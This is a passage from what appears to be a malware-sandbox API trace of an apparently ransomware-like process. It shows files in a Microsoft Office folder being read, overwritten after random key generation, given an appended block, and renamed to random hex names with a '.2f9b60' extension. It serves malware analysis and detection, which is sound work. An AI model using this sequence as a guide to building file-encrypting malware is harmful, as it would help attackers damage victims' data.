dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.692] ReadFile (in: hFile=0x1210, lpBuffer=0x3263fa40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3263fa88, lpOverlapped=0x0 | out: lpBuffer=0x3263fa40*, lpNumberOfBytesRead=0x3263fa88*=0x4, lpOverlapped=0x0) returned 1 [0155.773] SetFilePointerEx (in: hFile=0x1210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.773] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb3f0 [0155.773] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb450 [0155.774] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb4e0 [0155.774] NtQuerySystemTime (in: CurrentTime=0x3263f980 | out: CurrentTime=0x3263f980*=132462177609058000) returned 0x0 [0155.774] RtlRandomEx (in: Seed=0x3263f970 | out: Seed=0x3263f970) returned 0x1d309842 [0155.774] RtlRandomEx (in: Seed=0x3263f970 | out: Seed=0x3263f970) returned 0x3226f5d7 [0155.774] RtlRandomEx (in: Seed=0x3263f970 | out: Seed=0x3263f970) returned 0xc9d37 [0155.774] RtlRandomEx (in: Seed=0x3263f970 | out: Seed=0x3263f970) returned 0x330b7261 [0155.774] RtlRandomEx (in: Seed=0x3263f970 | out: Seed=0x3263f970) returned 0x22b2e785 [0155.774] RtlRandomEx (in: Seed=0x3263f970 | out: Seed=0x3263f970) returned 0x1a7cc741 [0155.774] RtlRandomEx (in: Seed=0x3263f970 | out: Seed=0x3263f970) returned 0x3d2bc042 [0155.774] RtlRandomEx (in: Seed=0x3263f970 | out: Seed=0x3263f970) returned 0x5f66a4bd [0155.774] RtlRandomEx (in: Seed=0x3263f970 | out: Seed=0x3263f970) returned 0x45155af8 [0155.774] RtlRandomEx (in: Seed=0x3263f970 | out: Seed=0x3263f970) returned 0x5bbf0a78 [0155.774] RtlRandomEx (in: Seed=0x3263f970 | out: Seed=0x3263f970) returned 0x5a473e5c [0155.774] RtlRandomEx (in: Seed=0x3263f970 | out: Seed=0x3263f970) returned 0x7e48a36a [0155.774] RtlRandomEx (in: Seed=0x3263f970 | out: Seed=0x3263f970) returned 0x61bc2b69 [0155.774] RtlRandomEx (in: Seed=0x3263f970 | out: Seed=0x3263f970) returned 0x1ca52c72 [0155.774] RtlRandomEx (in: Seed=0x3263f970 | out: Seed=0x3263f970) returned 0x57b49df7 [0155.774] RtlRandomEx (in: Seed=0x3263f970 | out: Seed=0x3263f970) returned 0x8dddb4d [0155.774] RtlRandomEx (in: Seed=0x3263f970 | out: Seed=0x3263f970) returned 0x20c4f254 [0155.774] RtlRandomEx (in: Seed=0x3263f970 | out: Seed=0x3263f970) returned 0x61b39c51 [0155.774] RtlRandomEx (in: Seed=0x3263f970 | out: Seed=0x3263f970) returned 0x1d343a61 [0155.774] RtlRandomEx (in: Seed=0x3263f970 | out: Seed=0x3263f970) returned 0x3090cf95 [0155.774] RtlRandomEx (in: Seed=0x3263f970 | out: Seed=0x3263f970) returned 0x7fe6c2bd [0155.774] RtlRandomEx (in: Seed=0x3263f970 | out: Seed=0x3263f970) returned 0x29b53eae [0155.774] RtlRandomEx (in: Seed=0x3263f970 | out: Seed=0x3263f970) returned 0x5697ab8f [0155.774] RtlRandomEx (in: Seed=0x3263f970 | out: Seed=0x3263f970) returned 0x422af150 [0155.774] RtlRandomEx (in: Seed=0x3263f970 | out: Seed=0x3263f970) returned 0x5da963d5 [0155.774] RtlRandomEx (in: Seed=0x3263f970 | out: Seed=0x3263f970) returned 0x31904125 [0155.774] RtlRandomEx (in: Seed=0x3263f970 | out: Seed=0x3263f970) returned 0x60a22b11 [0155.775] RtlRandomEx (in: Seed=0x3263f970 | out: Seed=0x3263f970) returned 0x1320fea6 [0155.775] RtlRandomEx (in: Seed=0x3263f970 | out: Seed=0x3263f970) returned 0x6f16d42 [0155.775] RtlRandomEx (in: Seed=0x3263f970 | out: Seed=0x3263f970) returned 0x17f525d3 [0155.775] RtlRandomEx (in: Seed=0x3263f970 | out: Seed=0x3263f970) returned 0x39adbfcc [0155.775] RtlRandomEx (in: Seed=0x3263f970 | out: Seed=0x3263f970) returned 0x1c64e68 [0155.785] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb510 [0155.786] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce24320 [0155.786] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb540 [0155.786] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce24320) returned 1 [0155.787] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb4e0) returned 1 [0155.787] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb3f0) returned 1 [0155.787] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18730 [0155.787] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce24320 [0155.787] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb3f0 [0155.788] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb3f0) returned 1 [0155.788] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x429716b0 [0155.788] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x429752c0 [0155.788] ReadFile (in: hFile=0x1210, lpBuffer=0x429716b0, nNumberOfBytesToRead=0x10c8, lpNumberOfBytesRead=0x3263f970, lpOverlapped=0x0 | out: lpBuffer=0x429716b0*, lpNumberOfBytesRead=0x3263f970*=0x10c8, lpOverlapped=0x0) returned 1 [0155.884] SetFilePointerEx (in: hFile=0x1210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.884] WriteFile (in: hFile=0x1210, lpBuffer=0x429752c0*, nNumberOfBytesToWrite=0x10c8, lpNumberOfBytesWritten=0x3263f974, lpOverlapped=0x0 | out: lpBuffer=0x429752c0*, lpNumberOfBytesWritten=0x3263f974*=0x10c8, lpOverlapped=0x0) returned 1 [0164.482] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18480 [0164.482] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c184b0 [0164.482] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c184b0) returned 1 [0164.482] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x429752c0) returned 1 [0164.483] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x429716b0) returned 1 [0164.483] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce24320) returned 1 [0164.483] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18730) returned 1 [0164.483] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x42c184b0 [0164.484] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18730 [0164.484] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce24320 [0164.484] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18510 [0164.485] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18510) returned 1 [0164.485] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x42c18510 [0164.485] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c184e0 [0164.485] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18420 [0164.486] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18420) returned 1 [0164.486] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce24320) returned 1 [0164.486] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18730) returned 1 [0164.486] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x42c14630 [0164.487] SetFilePointerEx (in: hFile=0x1210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0164.487] WriteFile (hFile=0x1210, lpBuffer=0x42c14630, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3263fa90, lpOverlapped=0x0) [0200.123] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420593d0 [0200.124] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420614b0 [0200.124] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb5d0 [0200.125] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb5d0) returned 1 [0200.125] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x42c0f0e0 [0200.125] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb5d0 [0200.125] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb5a0 [0200.126] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb5a0) returned 1 [0200.126] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420614b0) returned 1 [0200.127] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420593d0) returned 1 [0200.127] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9ff30 [0200.127] sprintf (in: _Dest=0x1cd9ff30, _Format="%c%c" | out: _Dest="3d") returned 2 [0200.127] sprintf (in: _Dest=0x1cd9ff32, _Format="%c%c" | out: _Dest="90") returned 2 [0200.127] sprintf (in: _Dest=0x1cd9ff34, _Format="%c%c" | out: _Dest="8b") returned 2 [0200.127] sprintf (in: _Dest=0x1cd9ff36, _Format="%c%c" | out: _Dest="8c") returned 2 [0200.127] sprintf (in: _Dest=0x1cd9ff38, _Format="%c%c" | out: _Dest="a5") returned 2 [0200.127] sprintf (in: _Dest=0x1cd9ff3a, _Format="%c%c" | out: _Dest="0d") returned 2 [0200.127] sprintf (in: _Dest=0x1cd9ff3c, _Format="%c%c" | out: _Dest="41") returned 2 [0200.127] sprintf (in: _Dest=0x1cd9ff3e, _Format="%c%c" | out: _Dest="30") returned 2 [0200.127] sprintf (in: _Dest=0x1cd9ff40, _Format="%c%c" | out: _Dest="37") returned 2 [0200.127] sprintf (in: _Dest=0x1cd9ff42, _Format="%c%c" | out: _Dest="7d") returned 2 [0200.127] sprintf (in: _Dest=0x1cd9ff44, _Format="%c%c" | out: _Dest="62") returned 2 [0200.127] sprintf (in: _Dest=0x1cd9ff46, _Format="%c%c" | out: _Dest="a2") returned 2 [0200.127] sprintf (in: _Dest=0x1cd9ff48, _Format="%c%c" | out: _Dest="e2") returned 2 [0200.127] sprintf (in: _Dest=0x1cd9ff4a, _Format="%c%c" | out: _Dest="1c") returned 2 [0200.127] sprintf (in: _Dest=0x1cd9ff4c, _Format="%c%c" | out: _Dest="74") returned 2 [0200.128] sprintf (in: _Dest=0x1cd9ff4e, _Format="%c%c" | out: _Dest="85") returned 2 [0200.128] sprintf (in: _Dest=0x1cd9ff50, _Format="%c%c" | out: _Dest="6b") returned 2 [0200.128] sprintf (in: _Dest=0x1cd9ff52, _Format="%c%c" | out: _Dest="b9") returned 2 [0200.128] sprintf (in: _Dest=0x1cd9ff54, _Format="%c%c" | out: _Dest="fb") returned 2 [0200.128] sprintf (in: _Dest=0x1cd9ff56, _Format="%c%c" | out: _Dest="5a") returned 2 [0200.128] sprintf (in: _Dest=0x1cd9ff58, _Format="%c%c" | out: _Dest="bb") returned 2 [0200.128] sprintf (in: _Dest=0x1cd9ff5a, _Format="%c%c" | out: _Dest="0b") returned 2 [0200.128] sprintf (in: _Dest=0x1cd9ff5c, _Format="%c%c" | out: _Dest="f2") returned 2 [0200.128] sprintf (in: _Dest=0x1cd9ff5e, _Format="%c%c" | out: _Dest="70") returned 2 [0200.128] RtlInitAnsiString (in: DestinationString=0x3263fb08, SourceString="3d908b8ca50d4130377d62a2e21c74856bb9fb5abb0bf270" | out: DestinationString="3d908b8ca50d4130377d62a2e21c74856bb9fb5abb0bf270") [0200.128] RtlAnsiStringToUnicodeString (in: DestinationString=0x3263fad8, SourceString="3d908b8ca50d4130377d62a2e21c74856bb9fb5abb0bf270", AllocateDestinationString=1 | out: DestinationString="3d908b8ca50d4130377d62a2e21c74856bb9fb5abb0bf270") returned 0x0 [0200.128] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x430a0390 [0200.129] wcscat (in: _Dest=0x431d9c80, _Source="3d908b8ca50d" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\3d908b8ca50d") returned="C:\\Program Files\\Microsoft Office\\Office14\\3d908b8ca50d" [0200.129] wcscat (in: _Dest=0x431d9c80, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\3d908b8ca50d.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\3d908b8ca50d.2f9b60" [0200.129] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\3d908b8ca50d.2f9b60", NtPathName=0x3263fab0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\3d908b8ca50d.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0200.129] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x431f3f30 Thread: id = 2569 os_tid = 0x2090 [0155.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\VBS2WORD.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\vbs2word.xsl")) returned 0x20 [0155.701] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\VBS2WORD.XSL", dwFileAttributes=0x20) returned 1 [0155.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\VBS2WORD.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\vbs2word.xsl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x120c [0155.703] GetFileSizeEx (in: hFile=0x120c, lpFileSize=0x3246fa40 | out: lpFileSize=0x3246fa40*=6301) returned 1 [0155.703] SetFilePointerEx (in: hFile=0x120c, liDistanceToMove=0x1899, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.703] ReadFile (in: hFile=0x120c, lpBuffer=0x3246f9c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3246fa08, lpOverlapped=0x0 | out: lpBuffer=0x3246f9c0*, lpNumberOfBytesRead=0x3246fa08*=0x4, lpOverlapped=0x0) returned 1 [0155.789] SetFilePointerEx (in: hFile=0x120c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.789] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb3f0 [0155.789] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb4e0 [0155.789] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb570 [0155.789] NtQuerySystemTime (in: CurrentTime=0x3246f900 | out: CurrentTime=0x3246f900*=132462177609214000) returned 0x0 [0155.790] RtlRandomEx (in: Seed=0x3246f8f0 | out: Seed=0x3246f8f0) returned 0x656e4447 [0155.790] RtlRandomEx (in: Seed=0x3246f8f0 | out: Seed=0x3246f8f0) returned 0x544093ac [0155.790] RtlRandomEx (in: Seed=0x3246f8f0 | out: Seed=0x3246f8f0) returned 0x19abf83d [0155.790] RtlRandomEx (in: Seed=0x3246f8f0 | out: Seed=0x3246f8f0) returned 0x7253e4ed [0155.790] RtlRandomEx (in: Seed=0x3246f8f0 | out: Seed=0x3246f8f0) returned 0x26fd9d3f [0155.790] RtlRandomEx (in: Seed=0x3246f8f0 | out: Seed=0x3246f8f0) returned 0x7a8aefc0 [0155.790] RtlRandomEx (in: Seed=0x3246f8f0 | out: Seed=0x3246f8f0) returned 0x27ae1815 [0155.790] RtlRandomEx (in: Seed=0x3246f8f0 | out: Seed=0x3246f8f0) returned 0xa625e7d [0155.790] RtlRandomEx (in: Seed=0x3246f8f0 | out: Seed=0x3246f8f0) returned 0x6b5f581e [0155.790] RtlRandomEx (in: Seed=0x3246f8f0 | out: Seed=0x3246f8f0) returned 0x70444e4d [0155.790] RtlRandomEx (in: Seed=0x3246f8f0 | out: Seed=0x3246f8f0) returned 0x60283c6a [0155.790] RtlRandomEx (in: Seed=0x3246f8f0 | out: Seed=0x3246f8f0) returned 0x7f1cf1e5 [0155.790] RtlRandomEx (in: Seed=0x3246f8f0 | out: Seed=0x3246f8f0) returned 0x239b40bc [0155.790] RtlRandomEx (in: Seed=0x3246f8f0 | out: Seed=0x3246f8f0) returned 0x3aec8a7 [0155.790] RtlRandomEx (in: Seed=0x3246f8f0 | out: Seed=0x3246f8f0) returned 0x323536a1 [0155.790] RtlRandomEx (in: Seed=0x3246f8f0 | out: Seed=0x3246f8f0) returned 0xc914347 [0155.790] RtlRandomEx (in: Seed=0x3246f8f0 | out: Seed=0x3246f8f0) returned 0x58c38119 [0155.790] RtlRandomEx (in: Seed=0x3246f8f0 | out: Seed=0x3246f8f0) returned 0x7a5baf8c [0155.790] RtlRandomEx (in: Seed=0x3246f8f0 | out: Seed=0x3246f8f0) returned 0x4d3e8674 [0155.790] RtlRandomEx (in: Seed=0x3246f8f0 | out: Seed=0x3246f8f0) returned 0x4462992 [0155.790] RtlRandomEx (in: Seed=0x3246f8f0 | out: Seed=0x3246f8f0) returned 0x78e2dace [0155.790] RtlRandomEx (in: Seed=0x3246f8f0 | out: Seed=0x3246f8f0) returned 0x7eeff1d6 [0155.791] RtlRandomEx (in: Seed=0x3246f8f0 | out: Seed=0x3246f8f0) returned 0x600e7c73 [0155.791] RtlRandomEx (in: Seed=0x3246f8f0 | out: Seed=0x3246f8f0) returned 0x53a012b0 [0155.791] RtlRandomEx (in: Seed=0x3246f8f0 | out: Seed=0x3246f8f0) returned 0x3c3e9160 [0155.791] RtlRandomEx (in: Seed=0x3246f8f0 | out: Seed=0x3246f8f0) returned 0xff6fd98 [0155.791] RtlRandomEx (in: Seed=0x3246f8f0 | out: Seed=0x3246f8f0) returned 0x7763ce38 [0155.791] RtlRandomEx (in: Seed=0x3246f8f0 | out: Seed=0x3246f8f0) returned 0x119a8b91 [0155.791] RtlRandomEx (in: Seed=0x3246f8f0 | out: Seed=0x3246f8f0) returned 0x3f300214 [0155.791] RtlRandomEx (in: Seed=0x3246f8f0 | out: Seed=0x3246f8f0) returned 0x4ace910c [0155.791] RtlRandomEx (in: Seed=0x3246f8f0 | out: Seed=0x3246f8f0) returned 0x373a04f0 [0155.791] RtlRandomEx (in: Seed=0x3246f8f0 | out: Seed=0x3246f8f0) returned 0x215f0204 [0155.805] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb5a0 [0155.805] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce243a0 [0155.806] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb5d0 [0155.806] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce243a0) returned 1 [0155.806] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb570) returned 1 [0155.807] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb3f0) returned 1 [0155.807] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18780 [0155.807] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce243a0 [0155.807] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb3f0 [0155.807] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb3f0) returned 1 [0155.807] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42978ed0 [0155.808] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4297cae0 [0155.808] ReadFile (in: hFile=0x120c, lpBuffer=0x42978ed0, nNumberOfBytesToRead=0x189d, lpNumberOfBytesRead=0x3246f8f0, lpOverlapped=0x0 | out: lpBuffer=0x42978ed0*, lpNumberOfBytesRead=0x3246f8f0*=0x189d, lpOverlapped=0x0) returned 1 [0155.920] SetFilePointerEx (in: hFile=0x120c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.920] WriteFile (in: hFile=0x120c, lpBuffer=0x4297cae0*, nNumberOfBytesToWrite=0x189d, lpNumberOfBytesWritten=0x3246f8f4, lpOverlapped=0x0 | out: lpBuffer=0x4297cae0*, lpNumberOfBytesWritten=0x3246f8f4*=0x189d, lpOverlapped=0x0) returned 1 [0164.475] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe770 [0164.475] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe7d0 [0164.476] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe7d0) returned 1 [0164.476] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4297cae0) returned 1 [0164.476] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42978ed0) returned 1 [0164.476] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce243a0) returned 1 [0164.477] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18780) returned 1 [0164.477] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x204fe7d0 [0164.477] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18780 [0164.477] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce243a0 [0164.478] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe4d0 [0164.478] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe4d0) returned 1 [0164.478] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x204fe4d0 [0164.478] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe6b0 [0164.479] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18480 [0164.479] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18480) returned 1 [0164.479] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce243a0) returned 1 [0164.480] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18780) returned 1 [0164.480] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x42c14750 [0164.480] SetFilePointerEx (in: hFile=0x120c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0164.480] WriteFile (hFile=0x120c, lpBuffer=0x42c14750, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3246fa10, lpOverlapped=0x0) [0200.115] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420593d0 [0200.116] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420614b0 [0200.116] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6f90 [0200.117] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6f90) returned 1 [0200.117] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x42c0f0e0 [0200.117] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6f90 [0200.117] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6e10 [0200.118] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6e10) returned 1 [0200.119] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420614b0) returned 1 [0200.119] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420593d0) returned 1 [0200.119] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9ff30 [0200.119] sprintf (in: _Dest=0x1cd9ff30, _Format="%c%c" | out: _Dest="16") returned 2 [0200.119] sprintf (in: _Dest=0x1cd9ff32, _Format="%c%c" | out: _Dest="e6") returned 2 [0200.119] sprintf (in: _Dest=0x1cd9ff34, _Format="%c%c" | out: _Dest="3a") returned 2 [0200.120] sprintf (in: _Dest=0x1cd9ff36, _Format="%c%c" | out: _Dest="6c") returned 2 [0200.120] sprintf (in: _Dest=0x1cd9ff38, _Format="%c%c" | out: _Dest="49") returned 2 [0200.120] sprintf (in: _Dest=0x1cd9ff3a, _Format="%c%c" | out: _Dest="ae") returned 2 [0200.120] sprintf (in: _Dest=0x1cd9ff3c, _Format="%c%c" | out: _Dest="e6") returned 2 [0200.120] sprintf (in: _Dest=0x1cd9ff3e, _Format="%c%c" | out: _Dest="82") returned 2 [0200.120] sprintf (in: _Dest=0x1cd9ff40, _Format="%c%c" | out: _Dest="e8") returned 2 [0200.120] sprintf (in: _Dest=0x1cd9ff42, _Format="%c%c" | out: _Dest="2d") returned 2 [0200.120] sprintf (in: _Dest=0x1cd9ff44, _Format="%c%c" | out: _Dest="2d") returned 2 [0200.120] sprintf (in: _Dest=0x1cd9ff46, _Format="%c%c" | out: _Dest="43") returned 2 [0200.120] sprintf (in: _Dest=0x1cd9ff48, _Format="%c%c" | out: _Dest="f5") returned 2 [0200.120] sprintf (in: _Dest=0x1cd9ff4a, _Format="%c%c" | out: _Dest="83") returned 2 [0200.120] sprintf (in: _Dest=0x1cd9ff4c, _Format="%c%c" | out: _Dest="72") returned 2 [0200.120] sprintf (in: _Dest=0x1cd9ff4e, _Format="%c%c" | out: _Dest="f5") returned 2 [0200.120] sprintf (in: _Dest=0x1cd9ff50, _Format="%c%c" | out: _Dest="a9") returned 2 [0200.120] sprintf (in: _Dest=0x1cd9ff52, _Format="%c%c" | out: _Dest="73") returned 2 [0200.120] sprintf (in: _Dest=0x1cd9ff54, _Format="%c%c" | out: _Dest="8b") returned 2 [0200.120] sprintf (in: _Dest=0x1cd9ff56, _Format="%c%c" | out: _Dest="97") returned 2 [0200.120] sprintf (in: _Dest=0x1cd9ff58, _Format="%c%c" | out: _Dest="57") returned 2 [0200.120] sprintf (in: _Dest=0x1cd9ff5a, _Format="%c%c" | out: _Dest="ea") returned 2 [0200.120] sprintf (in: _Dest=0x1cd9ff5c, _Format="%c%c" | out: _Dest="cb") returned 2 [0200.120] sprintf (in: _Dest=0x1cd9ff5e, _Format="%c%c" | out: _Dest="28") returned 2 [0200.121] RtlInitAnsiString (in: DestinationString=0x3246fa88, SourceString="16e63a6c49aee682e82d2d43f58372f5a9738b9757eacb28" | out: DestinationString="16e63a6c49aee682e82d2d43f58372f5a9738b9757eacb28") [0200.121] RtlAnsiStringToUnicodeString (in: DestinationString=0x3246fa58, SourceString="16e63a6c49aee682e82d2d43f58372f5a9738b9757eacb28", AllocateDestinationString=1 | out: DestinationString="16e63a6c49aee682e82d2d43f58372f5a9738b9757eacb28") returned 0x0 [0200.121] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x430a0320 [0200.121] wcscat (in: _Dest=0x431d9b60, _Source="16e63a6c49ae" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\16e63a6c49ae") returned="C:\\Program Files\\Microsoft Office\\Office14\\16e63a6c49ae" [0200.121] wcscat (in: _Dest=0x431d9b60, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\16e63a6c49ae.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\16e63a6c49ae.2f9b60" [0200.121] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\16e63a6c49ae.2f9b60", NtPathName=0x3246fa30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: 